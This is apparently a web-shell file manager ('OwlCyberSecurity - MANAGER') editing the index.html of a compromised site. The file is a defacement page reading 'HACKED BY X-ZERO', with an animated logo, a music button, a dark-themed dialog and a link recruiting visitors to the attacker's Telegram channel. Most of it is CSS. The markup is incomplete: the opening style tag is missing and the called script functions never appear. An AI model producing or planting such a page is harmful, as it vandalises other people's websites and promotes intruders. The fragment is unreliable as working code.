OwlCyberSecurity - MANAGER

Edit File: index.html

<!DOCTYPE html>
<html lang="ar">
<head>
    <meta name="author" content="X-ZERO" />
    <meta name="copyright" content="Copyright © 2025 X-ZERO" />
    <meta name="msapplication-TileImage" content="https://b.top4top.io/p_33032mier1.jpg">
    <meta property="og:image" content="https://b.top4top.io/p_33032mier1.jpg">
    <meta name="msapplication-navbutton-color" content="#000000">
    <meta name="msapplication-TileColor" content="#000000">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="theme-color" content="#000">
    <meta name="googlebot" content="index,follow" />
    <meta name="robots" content="all" />
    <meta name="robots schedule" content="auto" />
    <meta name="distribution" content="global" />
    <meta name="author" content="X-ZERO" />
    <meta name="robots" content="index,follow" />
    <meta name="viewport" content="width=device-width, initial-scale=1">

#logo {
            width: 160px;
            border-radius: 50%;
            animation: glow 1.5s linear infinite;
            margin-top: 20px;
            margin-bottom: 40px;
            box-shadow: 0 0 15px #fff;
            border: 4px solid #fff;
            transition: transform 0.3s, box-shadow 0.3s;
        }

h1 {
            font-size: 40px;
            color: transparent;
            background-image: linear-gradient(90deg, #444, #fff, #444);
            background-size: 200% auto;
            background-clip: text;
            text-fill-color: transparent;
            animation: shine 2s linear infinite;
            margin-bottom: 10px;
            cursor: pointer;
            /*font-family: 'Audiowide', cursive;*/
            font-family: 'Black Ops One', cursive;
        }

button {
            background-color: transparent;
            color: transparent;
            padding: 10px 20px;
            font-size: 1em;
            border: 2px solid transparent;
            cursor: pointer;
            border-radius: 20px;
            background-image: linear-gradient(90deg, #fff, #444, #fff);
            background-size: 200% auto;
            background-clip: text;
            text-fill-color: transparent;
            animation: shine 2s linear infinite;
            border: 2px solid #fff;
            font-family: 'Exo 2', sans-serif;
        }

button:hover {
            background-color: rgba(255, 255, 255, 0.1);
        }

#link {
            margin-top: 20px;
            color: transparent;
            background-image: linear-gradient(90deg,#fff,#444, #000, #444, #fff);
            background-size: 200% auto;
            background-clip: text;
            text-fill-color: transparent;
            animation: shine_t 2s linear infinite;
            margin-bottom: 10px;
            cursor: pointer;
            text-decoration: none;
            font-size: 15px;
            font-family: 'Orbitron', sans-serif;
        }

#dialog {
            display: none;
            position: fixed;
            left: 50%;
            top: 50%;
            transform: translate(-50%, -50%);
            background: #000;
            border: 2px solid #fff;
            border-radius: 10px;
            padding: 20px;
            color: white;
            z-index: 1000;
            font-family: 'Roboto Mono', monospace;
        }

#close {
            margin-top: 10px;
            padding: 5px 10px;
            background: #fff;
            color: black;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }

.particle {
            position: absolute;
            width: 5px;
            height: 5px;
            border-radius: 50%;
            pointer-events: none;
            animation: fall 2s linear forwards;
        }

.attract {
            animation: attract 0.5s forwards;
            opacity: 0;
        }

@keyframes glow {
            0% {
                box-shadow: 0 0 15px #fff;
            }

100% {
                box-shadow: 0 0 25px #fff;
            }
        }

@keyframes shine {
            to {
                background-position: 200% center;
            }
        }

@keyframes shine_t {
            to {
                background-position: 200% center;
            }
        }

@keyframes fall {
            to {
                transform: translateY(100vh);
                opacity: 0;
            }
        }

@keyframes attract {
            to {
                transform: scale(2);
                opacity: 0;
            }
        }

</style>
</head>
<body>
    <div id="container">
        <h1 onclick="showDialog()">HACKED BY X-ZERO</h1>
        <img src="https://l.top4top.io/p_3404kujsb1.gif" id="logo" />
        <button onclick="playMusic()">PLAY MUSIC</button>

<a id="link" href="https://t.me/+--8tFny1X05iMTRk" target="_blank">Subscribe to my channel on Telegram</a>
    </div>

<div id="dialog">
        <p>
            “Welcome to my dark world”
        </p>
        <button id="close" onclick="hideDialog()">close</button>
    </div>